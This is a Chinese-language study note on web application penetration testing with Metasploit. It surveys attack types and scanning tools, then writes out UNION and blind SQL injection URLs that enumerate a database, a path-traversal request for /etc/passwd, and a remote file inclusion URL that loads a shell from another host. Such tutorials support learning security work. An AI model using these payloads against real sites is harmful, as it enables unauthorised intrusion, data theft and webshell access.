继续来学习metasploit。。。记好笔记是很重要的,下面开始正文:
二.WEB应用渗透技术
1.WEB应用渗透基础知识
先介绍WEB应用攻击的主要类型(大致介绍,具体请自行查询)
Sql注入攻击:大致分为 普通注入和盲注
跨站脚本(XSS): 分为存储型XSS,反射性XSS以及DOM型XSS
跨站伪造请求(CSRF):以XSS方式注入一段脚本,受害者点击该脚本时,脚本伪造受害者发出请求。
会话认证管理缺陷:验证身份的功能存在缺陷。
安全误配置:开发和管理人员的失误导致存在漏洞。
不安全密码存储:密码以明文形式存在或加密算法过于脆弱。
不安全的对象参考:攻击者利用WEB系统本身的读取功能,任意存取文档,窃取敏感文件。
限制URL访问失败:没有对私有页面的访问进行身份认证。
缺乏传输层的保护:没有设置SSL/TLS等保护机制,直接被攻击者窃取敏感数据。
未验证的重定向和跳转:攻击者通过未验证重定向页面诱使受害者点击,从而窃取受害者敏感数据。
metasploit关于WEB应用渗透攻击的模块较少,但是kali渗透系统里有很多优秀的WEB渗透工具,弥补了metasploit的不足。
1.1metasploit的辅助模块
辅助模块基本都在 modules/auxiliary/,并且在最新的metasploit中内置了wmap WEB扫描器,允许用户配置辅助模块,对网站进行集中扫描。
1.2渗透模块
渗透模块分散在module中的多个文件夹下,有针对主流CMS的漏洞,也有针对各种数据库漏洞的模块,同时也包含了成功后用来操作的webshell。
metasploit与W3AF,SQLMAP,wXf,XSSF,BeFF等WEB漏洞扫描器均有接口,可以更好的进行探测。
2.WEB应用漏洞扫描探测
2.1.开源WEB应用漏洞扫描工具
Wapiti:对SQL注入的扫描准确度很高
W3AF:综合很优秀,都有较高的准确度。
Sandcat Free Edition:对XSS跨站漏洞准确度很高
2.2扫描神器W3AF
W3AF分为八类模块:发现模块(查找HTTP信息,并探测服务器,数据库等信息),审计模块(探测漏洞),搜索模块(捕获信息),攻击模块 (读取扫描信息,并试图通过模块插件攻击),输出模块(输出扫描结果),修改模块(修改信息),入侵模块(绕过入侵检测系统),破解模块(破解需要认证的页面,支持基本认证机制和表单登陆机制的破解)
具体使用方法不在详解。
2.3 SQL注入漏洞探测
sqlmap是一款优秀的SQL注入漏洞的扫描工具。具体用法不再详解。metasploit已经集成了此工具。
2.4 XSS漏洞探测
xsser,xssfuzz等工具,或者使用metasploit集成的W3AF。
2.5 WEB应用程序漏洞探测
wXf是WEB漏洞扫描和攻击框架,利用metasploit框架的构想。kali中没有集成这个工具,需自行下载。
3.WEB应用程序渗透测试
3.1 SQL注入分析
在这里进行简单的讲解,具体更高级的内容请自己查询
普通注入:
http://www.XXX.net/do/plus/view.php?aid=236896‘
//看是否存在注入,若’被过滤,则不能判断。
http://www.XXX.net/do/plus/view.php?aid=236896 and 1=2 union select 1,2,3,4,5,6,7-- //这里用--注释后边的语句,避免语法错误。该语句是用来判断列数的,若返回错误信息,则证明判断错误,继续加数字进行判断。
http://www.XXX.net/do/plus/view.php?aid=236896 and 1=2 union select 1,version(),database(),user(),5,,7,8,9,10 from 表名-- //得到数据库版本和用户名。
http://www.XXX.net/do/plus/view.php?aid=236896 and 1=2 union select 1,version(),database(),user(),5,,7,8,group_concat(schema_name),10 from information_schema.SCHEMA-- //查询所有表
http://www.XXX.net/do/plus/view.php?aid=236896 and 1=2 union select 1,version(),database(),user(),5,,7,8,group_concat(table_name),10 from information_schema.tables where table_schema=database()-- //查询表中所有列
http://www.XXX.net/do/plus/view.php?aid=236896 and 1=2 union select 1,version(),database(),user(),5,,7,8,group_concat(column_name),10 from information_schema.columns where table_name=列名十六进制-- //查询列中字段
盲注:这里就只讲解字符的猜解的盲注。
http://www.XXX.net/do/plus/view.php?aid=236896 and length(database())>1
http://www.XXX.net/do/plus/view.php?aid=236896 and length(database())>2
如果第一句没报错,第二句报错了,则证明数据库名是两个字符。以此类推。。
http://www.XXX.net/do/plus/view.php?aid=236896 and ascii(substring(database(),1,1))>97
http://www.XXX.net/do/plus/view.php?aid=236896 and ascii(substring(database(),1,1))>98
如果第一句没报错,第二句报错了,则证明数据库名第一个字符的ASCII码是98,以此类推。。。。
http://www.XXX.net/do/plus/view.php?aid=236896 and (select count(table_name) from information_schema where table_schema=database())>15
这句是获得数据库表的个数
接下来都差不多,不在多述。
3.2跨站攻击实例分析
跨站脚本攻击框架(XSSF),具体教程请自行查询。
3.3命令注入实例分析
一般流程都是扫描到某应用或者插件的漏洞,然后去上网找关于该漏洞的利用代码进行渗透获取webshell,若能力高超,可以自己编写利用的代码或者把利用的代码自己转换成metasploit的exploit模块和payload模块。具体自行实践,我能力有限。。。将来水平上来了会出教程。。。
3.4文件包含和文件上传漏洞
文件包含包括本地文件包含(LFI)和远程文件包含(RFI)。
http://www.XXX.com/?page=././././etc/passwd //使用“./”退出当前目录,多试几次
http://www.XXX.com/?page=www.ooo.com/shell.php //shell.php是事先在远程主机上准备好的shell。
文件上传漏洞是由于网站没有经过严格的检查和过滤,可以提交恶意的文件来获取webshell。
关于绕过上传请自行查询。